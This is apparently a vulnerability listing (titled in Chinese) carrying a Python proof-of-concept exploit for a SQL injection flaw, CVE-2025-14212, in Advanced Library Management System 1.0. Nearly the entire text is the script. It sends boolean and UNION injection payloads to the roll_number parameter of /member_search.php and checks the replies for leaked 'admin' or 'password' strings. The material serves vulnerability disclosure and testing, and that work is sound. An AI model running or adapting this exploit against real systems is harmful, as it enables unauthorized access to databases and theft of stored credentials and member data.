CVE-2025-14212 Advanced Library Management System 1.0 SQL注入漏洞

# CVE-2025-14212 SQL Injection PoC # Target: Advanced Library Management System 1.0 # Endpoint: /member_search.php # Vulnerable Parameter: roll_number import requests import sys def exploit_sql_injection(target_url, payload): """Send SQL injection payload to vulnerable endpoint""" params = { 'roll_number': payload } try: response = requests.get(f'{target_url}/member_search.php', params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f'[-] Request failed: {e}') return None def main(): target = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost' # Basic injection test - boolean based payloads = [ "' OR '1'='1", # Basic bypass "' UNION SELECT NULL--", # UNION injection test "' AND 1=1--", # True condition "' AND 1=2--", # False condition ] print(f'[*] Testing CVE-2025-14212 on {target}') print('[*] Vulnerable endpoint: /member_search.php') print('[*] Vulnerable parameter: roll_number') for payload in payloads: print(f'\n[*] Testing payload: {payload}') result = exploit_sql_injection(target, payload) if result: print(f'[+] Payload sent successfully') # Check for data leakage in response if 'admin' in result.lower() or 'password' in result.lower(): print('[!] Potential data leakage detected') if __name__ == '__main__': main()